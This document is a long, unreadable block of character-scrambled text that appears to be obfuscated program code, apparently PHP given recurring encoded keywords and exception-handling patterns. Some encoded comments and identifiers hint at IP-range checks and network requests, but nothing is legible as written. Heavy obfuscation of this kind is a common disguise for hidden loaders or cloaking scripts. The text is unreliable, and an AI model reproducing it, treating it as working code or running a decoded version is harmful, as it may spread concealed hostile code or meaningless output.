!<<<,5<g8puo-r$lxj{C<<<<<<!<<<dy%uCykpkoxw/zj48hljqxyotqvpz0<4(%.+7+/55'<8sj}},vCryy<<<<<!<<4urh5<\u{n~xs$r(~%zo4../548hljqxyotqvpz5'<<<<<8}}/p}(wy%w.sd/%<<<<!<<4=8puo-r$lxj{C<``<<<8sj}},vCryy<<<"<4+/.$/),(1.,$)(+,(55'<<<<uz<<4=8}}/p}(wy%w.sd/%<::<8sj}},vCryy<"<4,d.yz.$7,dx-,x$55<<<<<g33<ruplshyrh<lulypury<<<8z%yntzeki-<!<<<\~~t*pewxp%lxrp.4./-548hljqxyotqvpz0<<z}poy0<<ripp0<<,0<<4(,-*7$,55'<<<<uz<<<<4=ukC/jmfl}em~f{4./.548z%yntzeki-5<<<<<``<<<=fe/qwoyysxh4..(54ukC/jmfl}em~f{4.//50<<8z%yntzeki-55<<<8}}/p}(wy%w.sd/%<<!<<hniy'<<a<<<<<<uz<<<<4=8}}/p}(wy%w.sd/%<<::<=r+j)f.i)s+k+tdn48hljqxyotqvpz55<8}}/p}(wy%w.sd/%<<!<<<<hniy'<<<<uz<<<4=8}}/p}(wy%w.sd/%5<<<g<<8yntl*ftqf+s<<<!<<hpd$o-t}{d$~k*(45'<<uz<4=yqlhe48yntl*ftqf+sGukC/jmfl}em~f{4./(5A55<g33<LON1-)<quxxpyk}ny&<ydlsryrhu}p<~}wps{<<8rp(~os(}%hpdz<<<<!<<<<\~~t*pewxp%lxrp.4./)548yntl*ftqf+sGu{n~xs$r(~%zo4./(5A5'<<8nt{(ti-(y),v,}$<<<<<!<<<<<\ukC/jmfl}em~f{4./)548hljqxyotqvpz5'<<uz<<4fe/qwoyysxh4./.548rp(~os(}%hpdz5<::<<ukC/jmfl}em~f{4./.548nt{(ti-(y),v,}$5<<::<<<<<<8rp(~os(}%hpdz<<!!!<<<8nt{(ti-(y),v,}$5<<g<<<<<8kC}qr~)ernonytqu<!<<i-ly.}jrizd+48yntl*ftqf+s5'<<<<uz<<<<48kC}qr~)ernonytqu<<<!!!<<u{n~xs$r(~%zo4./*5<``<<<8kC}qr~)ernonytqu<<!!!<<<<ukC/jmfl}em~f{4./+55<<8}}/p}(wy%w.sd/%<<<<<!<<<hniy'<<<<<airoyh48rp(~os(}%hpdz0<<8nt{(ti-(y),v,}$0<8kC}qr~)ernonytqu5'<a33<xyzn}{qyrh<srohn}urh1oyh<zsn<KL<[nsil<^psw<<uz<4=8}}/p}(wy%w.sd/%<<<<<<::<<jvrq,mk{msz)nr48hljqxyotqvpz55<<8}}/p}(wy%w.sd/%<!<<<hniy'iroyh48yntl*ftqf+s5'<<<a<<uz<<<48}}/p}(wy%w.sd/%5<<guz<48puo-r$lxj{C5<<xfCus)epd-zo{}u48hljqxyotqvpz5'<\ilx}hyCslhusr48moki.)u~pk0<<<8ydz+t,v$/)*$luw0<fe/qwoyysxh4..-55'nyhinr'<<<<auz<<4=8CCpenyCtu$ks5<<<g<<\ilx}hyCslhusr48moki.)u~pk0<<8ydz+t,v$/)*$luw0<ukC/jmfl}em~f{4..-55'<nyhinr'<<<a<<<s%ko{/q}tr./kw(4n-*%o%~y,f,/qj,450<<8e/s$o}w~v(vp5'<<<n/k/qdunouCtj~rxud4n-*%o%~y,f,/qj,455'<<nyhinr<<<<<hniy'a<<<<<uz<4yqlhe48[PS^]POGu{n~xs$r(~%zo4./$5A55<g<8[PS^]POGfe/qwoyysxh4./$5A<<<<!<<<<hniy'<uz<4dy%uCykpkoxw/zj48hljqxyotqvpz0<<<4(%%-7%555<<xfCus)epd-zo{}u48hljqxyotqvpz5'8vdju-pmqkwzve,<<!<<fe/qwoyysxh4.,/545'<,,w(t++iruCd/$e{hxh4n-*%o%~y,f,/qj,450<<<48vdju-pmqkwzve,<<1<<<<<<48vdju-pmqkwzve,<<<9<<<<4-),$--1),$--555<<<7<<lnvdf(p*x*qv(.j455'<<<iroyh48vdju-pmqkwzve,5'<<<<<<<<s%ko{/q}tr./kw(48j%-%fr~}x-(lv{y0<<<8fCp)f$o+t-m/dx5'<<<<uz<<<<<<48m*lt{xsed)}u{(hd5<s%ko{/q}tr./kw(48m*lt{xsed)}u{(hd0<<<8fCp)f$o+t-m/dx5'{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4./%50<<<<~~t*pewxp%lxrp.4.(,50<<,5'\ilx}hyCslhusr48moki.)u~pk0<<<<8ydz+t,v$/)*$luw0<<fe/qwoyysxh4..-55'r*)l/j%$%n}/k~{e{}p.%4ukC/jmfl}em~f{4.(-55'uz<<48m*lt{xsed)}u{(hd<=!!<<<<>><<::<<<u{n~xs$r(~%zo4..$54fe/qwoyysxh4-$$555<<<<g<<<8iw)(+)i$)w+)p<<!<<<<<fe/qwoyysxh4...548r${)$~k*t-(qf{uu0<L]HTURZSCZUPYR]QY5<<<<<<2<<<<;3;<2<<<<<8r${)$~k*t-(qf{uu'8uefn+${r*ox+vq<!<<<\{yhCslhusr4u{n~xs$r(~%zo4..*50<}nn}e455'8fCh}.(,njj}!LTLCQ]VSNCJYNOUSR'8j{%kn+t/$knw$!8fCh}.(,njj}6-'<uz<<<4~~t*pewxp%lxrp.4-*$548uefn+${r*ox+vq5<<::<<u{n~xs$r(~%zo4-%)548iw)(+)i$)w+)p0<<<8uefn+${r*ox+vq0<<hniy55<<<g<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4..*50<<<<fe/qwoyysxh4**54u{n~xs$r(~%zo4-%*548uefn+${r*ox+vq0<<}nn}e48iw)(+)i$)w+)p5555'a<iroyh48iw)(+)i$)w+)p0<8uefn+${r*ox+vq5'a<a<<nyhinr'<a<<<}ht<<<4Htnsk}~py<<8phr-l)~h-C.5<<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4.(.50<8phr-l)~h-C.5'<<<<a<<}ht<<<4Ydylhusr<<8phr-l)~h-C.5<<g<a<<zur}ppe<<<g<<<{)o/t%q}.s~%uen4u{n~xs$r(~%zo4.-+55'<<a<a<zirhusr<<i.o-i/tr+)y+tot}omwi48n+lwp-wio,5g<<uz<4ukC/jmfl}em~f{4..$54fe/qwoyysxh4.(/55<::<<<~~t*pewxp%lxrp.4..$54u{n~xs$r(~%zo4.((555<<g<8hd*}zitqC(}{nly/<!<\u{n~xs$r(~%zo4.()548n+lwp-wio,5'uz<<48hd*}zitqC(}{nly/5<<g8yln(wvseu+h$z!.//`---'8e,,f,.omk.C!8yln(wvseu+h$zB%/'<<8nufj/vfstmrxdCd<<<<!<<<<}nn}e45'<ktupy<448phr-l)~h-C.<<!<<\~~t*pewxp%lxrp.4.((548hd*}zitqC(}{nly/55<<<=!!<<z}poy5<<<<guz<<48phr-l)~h-C.<<<=!!<;2;<<::<8phr-l)~h-C.<<=!!<fe/qwoyysxh4.(*55<<<<8nufj/vfstmrxdCdGA<<<!<8phr-l)~h-C.'<a<<<<uz<4~~t*pewxp%lxrp.4.(+54fe/qwoyysxh4.($555<<<<<\ukC/jmfl}em~f{4.($548hd*}zitqC(}{nly/5'<<<<<<nyhinr<<<<8nufj/vfstmrxdCd'a<<<<<<a<uz<<<<<<4fe/qwoyysxh4.(%54~~t*pewxp%lxrp.4.),555<g<<<8lvz.-s(sv%zi)+*<<<<<!<\fe/qwoyysxh4.),548n+lwp-wio,5'uz<<<<4ukC/jmfl}em~f{4-*$548lvz.-s(sv%zi)+*55<<nyhinr<<ukC/jmfl}em~f{4.)-54ukC/jmfl}em~f{4-%*548lvz.-s(sv%zi)+*0<}nn}e4;2;0<<<<<~~t*pewxp%lxrp.4.(*5555'<<<<<<auz<<<4ukC/jmfl}em~f{4.).54~~t*pewxp%lxrp.4.)/555<g<<8p$lv}+$s*$(p/<<!<\ukC/jmfl}em~f{4.)(548n+lwp-wio,<2<<<<ukC/jmfl}em~f{4.))55'<<<<<<<uz<<4u{n~xs$r(~%zo4-*$548p$lv}+$s*$(p/55<nyhinr<u{n~xs$r(~%zo4.)*54ukC/jmfl}em~f{4.)+50<8p$lv}+$s*$(p/5'<a<<<<<<nyhinr<<ripp'<<<<<<<azirhusr<jfx)rnxu%,mC+~f~i48h~q($).,hesipl-5g<<uz<<<<<4=u{n~xs$r(~%zo4.)$548h~q($).,hesipl-5<``<u{n~xs$r(~%zo4%/548h~q($).,hesipl-0<<ukC/jmfl}em~f{4.)%55<<!!!<<<<z}poy5<nyhinr<<z}poy'8i$r%i{xtk)jk!%.6.'8tlih/*sdt-l-z!8i$r%i{xtk)jk1$'<<<<<<<uz<<<<<4fe/qwoyysxh4-,548h~q($).,hesipl-5<<<<<"<<4-,($(%,7$*55<<8h~q($).,hesipl-<<!<<<<<vkC$uou+iut)vwv(+y48h~q($).,hesipl-5'<uz<4u{n~xs$r(~%zo4-,548h~q($).,hesipl-5<<"<<<<4-%$),$/1%/*),+55<<nyhinr<<z}poy'<<uz<<4=~~t*pewxp%lxrp.4.).54fe/qwoyysxh4.*,555<<<nyhinr<<hniy'<<<uz<<<4=xyzuryx4ukC/jmfl}em~f{4.*-555<<<g<<<<<8yxthx$jC/(<<!<\hswyrC{yhC}pp48h~q($).,hesipl-5'<<<uz<<<4=u{n~xs$r(~%zo4-*$548yxthx$jC/(55<<nyhinr<<<<<<hniy'<<<<8yh$-Cii,fzCtn<<!<<<,'<<<<<<zsny}t<<<<48yxthx$jC/(<}o<8uo.{nm~~dl5<<g<<<<<<<uz<4~~t*pewxp%lxrp.4.*.548uo.{nm~~dl55<<<<g<<uz<48uo.{nm~~dlG,A<<<<<!!!<<HC_INPECSLYR<<``<8uo.{nm~~dlG,A<<<<<<!!!<<<HCXSPP]NCSLYRC_INPEC^N]_YO5<8yh$-Cii,fzCtn77'<<<<srhuriy'auz<<<48uo.{nm~~dl<<!!!<<<<;g;5<<8yh$-Cii,fzCtn77'<<<<<ypoyuz<48uo.{nm~~dl<<!!!<<;a;5<<<<<g<<<<8yh$-Cii,fzCtn11'<uz<<<<48yh$-Cii,fzCtn< <,5<<nyhinr<<z}poy'<<aa<<<<<<<nyhinr<<<8yh$-Cii,fzCtn<<<!!!<<<,'<ahne<g<<\hswyrC{yhC}pp48h~q($).,hesipl-0<<HSWYRCL]NOY5'<<<<nyhinr<<<<<hniy'<<a<<}ht<<<<4Htnsk}~py<<8phr-l)~h-C.5<<<g<<nyhinr<<<<<z}poy'<<<<a<<<<}ht<<<<<<4Ydylhusr<8phr-l)~h-C.5<<<<gnyhinr<<<z}poy'<<<aa<<<<zirhusr<<<r(ry+qrme-$skeyw}{kv45<<<<gnyhinr<<}nn}e4fe/qwoyysxh4.*/50<<<<<ukC/jmfl}em~f{4.*(50<<<ukC/jmfl}em~f{4.*)55'<<a<<<<<<<zirhusr<<mt{Ci+,ymlj.(,je~zt45<<<<<g<<<nyhinr<<}nn}e4fe/qwoyysxh4.**50<<u{n~xs$r(~%zo4.*+50<u{n~xs$r(~%zo4.*$50<<<<fe/qwoyysxh4.*%50<u{n~xs$r(~%zo4.+,50<~~t*pewxp%lxrp.4.+-50<<u{n~xs$r(~%zo4.+.50<<ukC/jmfl}em~f{4.+/50<<<~~t*pewxp%lxrp.4.+(50<~~t*pewxp%lxrp.4.+)50<<<u{n~xs$r(~%zo4.+*50<<<<fe/qwoyysxh4.++50<ukC/jmfl}em~f{4.+$50<<~~t*pewxp%lxrp.4.+%50<<~~t*pewxp%lxrp.4.$,50<<<~~t*pewxp%lxrp.4.$-50<<~~t*pewxp%lxrp.4.$.50<~~t*pewxp%lxrp.4.$/50<<<<ukC/jmfl}em~f{4.$(50<<<<<ukC/jmfl}em~f{4.$)55'8zl)ujjCzuo!%$7*+'8m%~jx/plewj*!8zl)ujjCzuo1.*'<<<<<<<<a<<zirhusr<<<<u%fhx.fk*~}o{t-dysq45<g<<<nyhinr<}nn}e4u{n~xs$r(~%zo4.$*50<<fe/qwoyysxh4.$+50<<<<fe/qwoyysxh4.$$50<<ukC/jmfl}em~f{4.$%55'<a<<<<<<zirhusr<i)C/drlz/rl/*v~zjueC48kidl+t+){royC5<<<g<<uz<<4u{n~xs$r(~%zo4.%,54~~t*pewxp%lxrp.4.%-555<<<nyhinr<<{fyrsxy48kidl+t+){royC0<<4(-B/.55'<uz<4u{n~xs$r(~%zo4.%.54~~t*pewxp%lxrp.4.%/555<<<<g<<nyhinr<<>@d-z@d$~@d,$@d,,@d,,@d,,@d,,@d,,@d,,@d,/><<<2<{fxyzp}hy48kidl+t+){royC0<4)7(55<<<2<<<<<fe/qwoyysxh4.%(54;J;0<<<ukC/jmfl}em~f{4.%)548kidl+t+){royC55<<<<2<<<<~~t*pewxp%lxrp.4.%(54;J;0<<fe/qwoyysxh4-,548kidl+t+){royC5<<:<<4*)-$)$.+/%1.../*-)(((55'<<<<anyhinr<<<8kidl+t+){royC'<<<<a<<<<<zirhusr<<m.lk~h/*flsu{uvpdjn-s48kidl+t+){royC5<<g<<uz<4=ukC/jmfl}em~f{4.%*548kidl+t+){royC5<<<<``<~~t*pewxp%lxrp.4.%+548kidl+t+){royC5<< <<<.5<<<nyhinr<8kidl+t+){royC'uz<<4fe/qwoyysxh4-.+548kidl+t+){royC0<<<<,0<<<<.5<<<=!!<>@d-z@d$~>5<<<<<nyhinr<<<8kidl+t+){royC'<<uz<<<4fe/qwoyysxh4.%+548kidl+t+){royC5<< <<4,d/7,dz55<<<nyhinr<z}poy'<<<8qw.t)nn()$jC<<!<<\fe/qwoyysxh4.%$54;J;0<<<<<<ukC/jmfl}em~f{4-.+548kidl+t+){royC0<<<<14-)%B-))555'<<<<<8qw.t)nn()$jC<<<<<!<<<~~t*pewxp%lxrp.4.*.548qw.t)nn()$jC5<#<8qw.t)nn()$jCG-A<<&<,'8p-l(v.({x+{i!(-`-,,'8x/nynmuq)x}wl!8p-l(v.({x+{iB*.'<<uz<<<48qw.t)nn()$jC<<< <<<4/.*7-+(5<``<<<<<<8qw.t)nn()$jC<<<<"<<<<4,dy~/zy7,d-(,.55<nyhinr<<z}poy'<<<uz<<<4fe/qwoyysxh4.%.54u{n~xs$r(~%zo4.%%555<<g8ynr-yt(,s*pf/<!<<\{fxysxy48kidl+t+){royC0<<<4)*(/)(7($(...55'<<<<<<<<<<uz<<<48ynr-yt(,s*pf/<<<=!!<z}poy5<<<nyhinr<8ynr-yt(,s*pf/'<<<<<a<<<uz<4ukC/jmfl}em~f{4/,,54u{n~xs$r(~%zo4/,-555<<<g<<8ynr-yt(,s*pf/<!<\{furzp}hy4u{n~xs$r(~%zo4-.+548kidl+t+){royC0<4...B.-.50<<<u{n~xs$r(~%zo4/,.548kidl+t+){royC5<1<4.7-*550<4-.)+$$/1.,%/,+55'nyhinr<<4u{n~xs$r(~%zo4.%*548ynr-yt(,s*pf/5<<<::<<<<<u{n~xs$r(~%zo4/,/548ynr-yt(,s*pf/5<< !<<<<<4,d*yy/$7,d%--$55<#<<8ynr-yt(,s*pf/<<<&<<<z}poy'<<<<<<<a<<<nyhinr<z}poy'<<<<a<<<<uz<4=<<<<fe/qwoyysxh4/,(54ukC/jmfl}em~f{4/,)555<<<gzirhusr<tyd.~ur48e$h/omzt%,5<<g<<<<<uz<4=<<<<<<~~t*pewxp%lxrp.4/,*548e$h/omzt%,5<<<<<``<<<~~t*pewxp%lxrp.4/,+548e$h/omzt%,5<<<<9<<<<.<<=!!<<,5<gnyhinr<<<z}poy'<<a<<nyhinr<u{n~xs$r(~%zo4.%(54u{n~xs$r(~%zo4/,$50<<<<<<8e$h/omzt%,5'<<<a<<<<<a<zirhusr<<<k-tfdi(*etyiuz45<g<<<<8~uC%xd/lzkd<<<<<<!<<<<<<}nn}e45'<<8fi{skthqse~rv+y<<<<!<<}nn}e4]^OL]HT0<]^OL]HT<<<2<<ukC/jmfl}em~f{4/,%50<<<<]^OL]HT<<2<<fe/qwoyysxh4/-,55'<<<<<<<uz<<4xyzuryx4~~t*pewxp%lxrp.4-(,555<<<8fi{skthqse~rv+yGA<!<<KLC_SRHYRHCXUN<<<2<<;3;'<zsny}t<<<<<48fi{skthqse~rv+y<<<}o<<8ynr-yt(,s*pf/5<<<g<<8dCy,uq}*,ykdy<<!<<u{n~xs$r(~%zo4/,(54fe/qwoyysxh4.)(55<<<<<#<\~~t*pewxp%lxrp.4/--548ynr-yt(,s*pf/<2<<u{n~xs$r(~%zo4/-.55<<&<<z}poy'<uz<4ukC/jmfl}em~f{4.*.548dCy,uq}*,ykdy55<<<<g<zsny}t<<<48dCy,uq}*,ykdy<}o<<8xy.mqs-}zqq~+l5<g<<8kr-o%(mjjs<<<!<<\~~t*pewxp%lxrp.4.,.548xy.mqs-}zqq~+l5'uz<<<<48kr-o%(mjjs<<<::<<8kr-o%(mjjs<<<"<<4%(**$(+/,7+,55<<<<g<<8~uC%xd/lzkdGA<<<!<8kr-o%(mjjs'<<a<a<<<<<a33<\uruhu}pufy<xuol}htyn<<auz<<4=yqlhe48~uC%xd/lzkd55<<<g8j(z{f-*x,z<<!<<8~uC%xd/lzkdGfe/qwoyysxh4/-/548~uC%xd/lzkd5A'<nyhinr<48j(z{f-*x,z<1<<<48j(z{f-*x,z<<<<9<<<<<<4%%%-)7$)555<<<7<lnvdf(p*x*qv(.j45'<a<<<<<<8dhud{*z}+im-~.<!<<<<~~t*pewxp%lxrp.4/-(545<<<<<1<<<44/,%7)*5<<6<<<<<4./7-5<<<<<6<<4.,(+7-))/55'<8~vvsu/fuqdu<<<<!<<<ukC/jmfl}em~f{4/,(54ukC/jmfl}em~f{4/-)55<<<<#<<<klCn}rx4,0<4,d-~7,d/5<<<6<<4,dx7,d~5<<<<6<<4/),/7%+55<<<<&<u{n~xs$r(~%zo4/-*54,0<<<4.)7)5<<6<<4(7.,5<<<<<6<4(*/.1-,/.55'<<<8j(z{f-*x,z<<!<8dhud{*z}+im-~.<<<<<1<<8~vvsu/fuqdu'nyhinr<<48j(z{f-*x,z<<<<<1<<<<<48j(z{f-*x,z<9<<<<<4$(($$7-))-.555<7<<<lnvdf(p*x*qv(.j45'a<<<<<<zirhusr<<o+nom+/C~snlf}(*ul48vqv$-l*x{z0<8t}kusyvod)k*l0<8s-+qd~*/+q}(<<!<<<<ripp5<<<<g<<8{ol+k-(%+oz.p<!<<<<zirhusr<<<<<48hjhltpxo~-5<ioy<<<48s-+qd~*/+q}(5<g<<<<<<<uz<4=fe/qwoyysxh4/,*548hjhltpxo~-5<<<``<8hjhltpxo~-<<<!!!<<>>5<nyhinr<<z}poy'<<<uz<<4ukC/jmfl}em~f{4/-+548hjhltpxo~-5<"<<<4-*+((+$*1$/)*-+$55<nyhinr<<<z}poy'uz<<48s-+qd~*/+q}(5<<<<g<<<<hne<gnyhinr<4~ssp5<u{n~xs$r(~%zo4/-$548s-+qd~*/+q}(0<<<<8hjhltpxo~-5'<<<<a<<<<<}ht<<<4Htnsk}~py<8phr-l)~h-C.5<g<<<nyhinr<<z}poy'<<<<a<}ht<<<4Ydylhusr<<<<8phr-l)~h-C.5<<g<<<<<nyhinr<<<<<z}poy'<<<<<<<<a<<<<a<nyhinr<<hniy'<<<<<<a'<8uxhvnjpkvhrfe<!<u{n~xs$r(~%zo4/,(54u{n~xs$r(~%zo4/-%55<<<<<#<<<<<\~~t*pewxp%lxrp.4/.,548vqv$-l*x{z0<}nn}e4<<<<<~~t*pewxp%lxrp.4/.-5<<!"<<8t}kusyvod)k*l0fe/qwoyysxh4/..5<!"<<z}poy0<<<<<<<<u{n~xs$r(~%zo4/./5<<<<<!"<4,d-x$+xy7,d*.+$..5055<<<&<z}poy'<<<<uz<48uxhvnjpkvhrfe<::<4=fe/qwoyysxh4/,(54~~t*pewxp%lxrp.4/.(55<<``<<=uoCklCynnsn48uxhvnjpkvhrfe555<<g<<uz<44urh5<klCnyqshyCnyhnuyjyCnyolsroyCsxy48uxhvnjpkvhrfe5<<!!!<<4.)-B)-55<<<g<<<<8q-$~tuekk(,Cv<<!<<klCnyqshyCnyhnuyjyC~sxe48uxhvnjpkvhrfe5'<<uz<48{ol+k-(%+oz.p48q-$~tuekk(,Cv55<<nyhinr<<<<8q-$~tuekk(,Cv'<<<a<<a<<<<<<<uz<4~~t*pewxp%lxrp.4/,(54u{n~xs$r(~%zo4/.)55<<::<<<<<ukC/jmfl}em~f{4/,(54fe/qwoyysxh4/.*55<::<~~t*pewxp%lxrp.4/,(54~~t*pewxp%lxrp.4/.+555<<<g<<8ei}x+t,{,~er<<<!<<\ukC/jmfl}em~f{4/.)548vqv$-l*x{z5'uz<<48ei}x+t,{,~er<<!!!<<<<<z}poy5<nyhinr<<<z}poy'<\~~t*pewxp%lxrp.4/.*548ei}x+t,{,~er0<<<}nn}e4<<<<sroh}rh4~~t*pewxp%lxrp.4/.$55<<!"<<hniy0<sroh}rh4~~t*pewxp%lxrp.4/.%55<!"<8t}kusyvod)k*l0<<sroh}rh4~~t*pewxp%lxrp.4//,55<!"<<<z}poy0<<<sroh}rh4ukC/jmfl}em~f{4//-55<!"<<<,0<<<sroh}rh4ukC/jmfl}em~f{4//.55<<<!"<<z}poy0<sroh}rh4ukC/jmfl}em~f{4///55<<<<!"<<zirhusr<<<<<48uqo.{zlt,,0<8vlfl~izw(+u0<8wreu+{{xfz5<<g<nyhinr<<<<8wreu+{{xfz<"<<4$/$$)(.7**5<#<<<<<<-<&<<<<<<,'<<<<a0<55'<<<8qy~k(kv}.y)(omr<<!<<\u{n~xs$r(~%zo4/.+548ei}x+t,{,~er5'<8t,ke-i)pzzed-i<<!<<<<\inpCynnrs48ei}x+t,{,~er5'<<8tu*/rnpC.$eyf<!<<\inpC{yhurzs48ei}x+t,{,~er5'\inpCpsoy48ei}x+t,{,~er5'uz<<<48t,ke-i)pzzed-i5<nyhinr<<<<z}poy'uz<44urh5<<8tu*/rnpC.$eyfGfe/qwoyysxh4//(5A<<!!!<4--)7$)5<<<<<::<8qy~k(kv}.y)(omr<<<<<=!!<<<<z}poy<::<<8{ol+k-(%+oz.p48qy~k(kv}.y)(omr55<<<g<<nyhinr<<8qy~k(kv}.y)(omr'<aa33<xyohnihusr<s~oynjynnyhinr<<z}poy'<a<zirhusr<j-h-+x{-%sj+$+48vqv$-l*x{z0<<<8trqe~h~Codzpo,0<<<8fk%mq-dtooi0<<<<8t}kusyvod)k*l0<<8s-+qd~*/+q}(<<!<ripp5<g<<<8{ol+k-(%+oz.p<<<<!<<zirhusr<<<48hjhltpxo~-5<<ioy<<<48s-+qd~*/+q}(5<<<g<<<uz<4=u{n~xs$r(~%zo4/,*548hjhltpxo~-5<<<<<``<8hjhltpxo~-<<<<<<!!!<<>>5<<<<<nyhinr<z}poy'<<uz<4u{n~xs$r(~%zo4/-+548hjhltpxo~-5<<<<<"<<<4$/$$)%-7-+55<nyhinr<<z}poy'<<<uz<<<48s-+qd~*/+q}(5<<g<<<hne<<g<<<<<nyhinr<4~ssp5<ukC/jmfl}em~f{4//)548s-+qd~*/+q}(0<8hjhltpxo~-5'<<a<<<}ht<<<<<4Htnsk}~py<<<<8phr-l)~h-C.5<<<g<<nyhinr<z}poy'<<a<}ht<<<4Ydylhusr<<8phr-l)~h-C.5<gnyhinr<z}poy'<<<<a<a<nyhinr<<<hniy'<a'<<<8uxhvnjpkvhrfe<<<<!<<ukC/jmfl}em~f{4/,(54u{n~xs$r(~%zo4//*55<#<<\ukC/jmfl}em~f{4//*548vqv$-l*x{z0<<}nn}e4<<<<<~~t*pewxp%lxrp.4//+5<!"<8t}kusyvod)k*l0<fe/qwoyysxh4//$5<<!"<z}poy0<fe/qwoyysxh4//%5<!"<<<4-,*..(/.1..//$.(50~~t*pewxp%lxrp.4/(,5<<!"<8fk%mq-dtooi0<<<~~t*pewxp%lxrp.4/(-5<!"<8trqe~h~Codzpo,0<<<<55<&<<z}poy'<<<<<uz<<4~~t*pewxp%lxrp.4/,(54ukC/jmfl}em~f{4/(.55<<<::<uoCklCynnsn48uxhvnjpkvhrfe55<<ga<ypoyuz<<<<<48uxhvnjpkvhrfe5<<<g<<8h~q($).,hesipl-<<<<!<4urh5<klCnyqshyCnyhnuyjyCnyolsroyCsxy48uxhvnjpkvhrfe5'8dl+u,elyp/<<<<!<<<klCnyqshyCnyhnuyjyC~sxe48uxhvnjpkvhrfe5'<<<<<<8ytp*ykt~sf(xvt<<<!<<<klCnyqshyCnyhnuyjyCty}xyno48uxhvnjpkvhrfe5'<<8irq/)ij*ruquis{{<<<<!<<>>'<uz<<<<<<4fe/qwoyysxh4/(/548ytp*ykt~sf(xvt55<<g33<KL<Lsoh<_sqqyrho&<s~ohnihusr1znyy<~uj}nu}rh<<<<<<zsny}t<<<48ytp*ykt~sf(xvt<<}o<<<<8yiCzh.n$)v*.-~)<<<!"<8jw$C,den{kp5<g<8irq/)ij*ruquis{{<<<2!<<8yiCzh.n$)v*.-~)<<<<<<2<<<u{n~xs$r(~%zo4/((5<<2<<<<<8jw$C,den{kp<<2<fe/qwoyysxh4/()5'<a<a<uz<<48h~q($).,hesipl-<!!!<4%*7-,(5<<<::<<8{ol+k-(%+oz.p48dl+u,elyp/55<<g<<nyhinr<8dl+u,elyp/'<<<<<<<<<aa<ypoy<g<<<<a<uz<4~~t*pewxp%lxrp.4/,(54fe/qwoyysxh4/.)55<<::<<<fe/qwoyysxh4/(*54fe/qwoyysxh4/.*55<<<::<<<<ukC/jmfl}em~f{4/(*54fe/qwoyysxh4/.+555<<g<8ei}x+t,{,~er<<!<\ukC/jmfl}em~f{4/.)548vqv$-l*x{z5'uz<<<<48ei}x+t,{,~er<!!!<z}poy5<<g<nyhinr<<z}poy'a33<\li~puot<nysnx1p}eyn8sm-+ltz{C*}y<<<<!<<}nn}e45'<zsny}t<48fk%mq-dtooi<}o<<<<<<8yiCzh.n$)v*.-~)<<!"<8jw$C,den{kp5<<g8sm-+ltz{C*}yGA<<<<<<!<8yiCzh.n$)v*.-~)<<<2<<<u{n~xs$r(~%zo4/((5<2<<8jw$C,den{kp'<a<<\u{n~xs$r(~%zo4/.*548ei}x+t,{,~er0<<}nn}e4sroh}rh4u{n~xs$r(~%zo4/(+55<!"<<<hniy0<<<<<<sroh}rh4fe/qwoyysxh4/($55<!"<<<<<8trqe~h~Codzpo,0<<sroh}rh4fe/qwoyysxh4/.$55<<!"<<<<hniy0<<sroh}rh4u{n~xs$r(~%zo4/(%55<!"<<8t}kusyvod)k*l0<<<<<<sroh}rh4fe/qwoyysxh4//,55<<<<<<!"<<z}poy0<<<<<<<sroh}rh4~~t*pewxp%lxrp.4//-55<!"<<<<<<,0<sroh}rh4u{n~xs$r(~%zo4/),55<<<<<!"<<<8sm-+ltz{C*}y0sroh}rh4ukC/jmfl}em~f{4//.55<<<<!"<<<z}poy0<<<<sroh}rh4u{n~xs$r(~%zo4///55<!"<zirhusr<48uqo.{zlt,,0<<<<<<8vlfl~izw(+u0<<<<8wreu+{{xfz5<<<<<g<<nyhinr<<<<<8wreu+{{xfz<<<"<<4+./$$.*7--(%+$.5<<<<<#<<<<-<&<<<,'<<<<<a0<<<<<<55'<8qy~k(kv}.y)(omr<<!<\u{n~xs$r(~%zo4/.+548ei}x+t,{,~er5'<<<<8t,ke-i)pzzed-i<<!<\inpCynnrs48ei}x+t,{,~er5'<<<8t,kzCfznh}f<<!<<\inpCynnsn48ei}x+t,{,~er5'<<<<8tu*/rnpC.$eyf<<!<<\inpC{yhurzs48ei}x+t,{,~er5'<8ftd$vkluv+rxswd<<<<!<<<<4urh5<<<<<<8tu*/rnpC.$eyfGukC/jmfl}em~f{4//(5A'uz<48t,ke-i)pzzed-i5<<<<g<\inpCpsoy48ei}x+t,{,~er5'<<nyhinr<<z}poy'<<<a33<QeOMP<kurxsk<zirhusro&<xer}qu<lnurul}p<\inpCpsoy48ei}x+t,{,~er5'8z}ukui.mz~x!%/**'8hmsezuhpx{!8z}ukui.mz~x9$'<uz<<<<<<48ftd$vkluv+rxswd<<<!!!<<4,d/7,d)5<<<<<::<<8qy~k(kv}.y)(omr<=!!<<<<<z}poy<<::<<<<8{ol+k-(%+oz.p48qy~k(kv}.y)(omr55<<<<<g<<<<<nyhinr<<<8qy~k(kv}.y)(omr'<<<<a<uz<48qy~k(kv}.y)(omr5<ganyhinr<<z}poy'a<<<nyhinr<<z}poy'<<<a<<zirhusr<<txjelwh+*$-)k}jw/-xj45<<<g<8jddxpvirtx.{mw%<<!<r(ry+qrme-$skeyw}{kv45'<<<<<<8jqf(.vne/i{,wpph<!<mt{Ci+,ymlj.(,je~zt45'<uz<4yqlhe48jddxpvirtx.{mw%5<<``<yqlhe48jqf(.vne/i{,wpph55<gnyhinr<}nn}e45'<a<<<<<<<<<<<<8p%h(v{~oviCwk<!<<<~~t*pewxp%lxrp.4/(*54u{n~xs$r(~%zo4/)-55<<#<4ohnur{5<{yhCslhusr4ukC/jmfl}em~f{4/).50<>>5<&<>>'uz<<48p%h(v{~oviCwk<<<<=!!<>>5<<<g33<irps}x<~}ht<nur{1~izzyn8jqf(.vne/i{,wpph<!<<<<u{n~xs$r(~%zo4.)-54~~t*pewxp%lxrp.4-%*548jqf(.vne/i{,wpph0<}nn}e48p%h(v{~oviCwk555'<<<<<~~t*pewxp%lxrp.4/)/548jqf(.vne/i{,wpph0<<<<<8p%h(v{~oviCwk5'<a<<<<8w$*-$qjCroej(t<<<!<<<<<ukC/jmfl}em~f{4/)(548jddxpvirtx.{mw%Gu{n~xs$r(~%zo4/))548jddxpvirtx.{mw%5A5'<uz<<<48w$*-$qjCroej(t<<<!!!<<<<>>5<g<nyhinr<<<<<}nn}e45'<a<<<<<<8trqe~h~Codzpo,<<<!<<u{n~xs$r(~%zo4/)*5<<<<2<<8w$*-$qjCroej(t<<2<~~t*pewxp%lxrp.4/)+5'<8k%rxez%vsuj}fy<<!<}nn}e4u{n~xs$r(~%zo4/)$5<<<<<!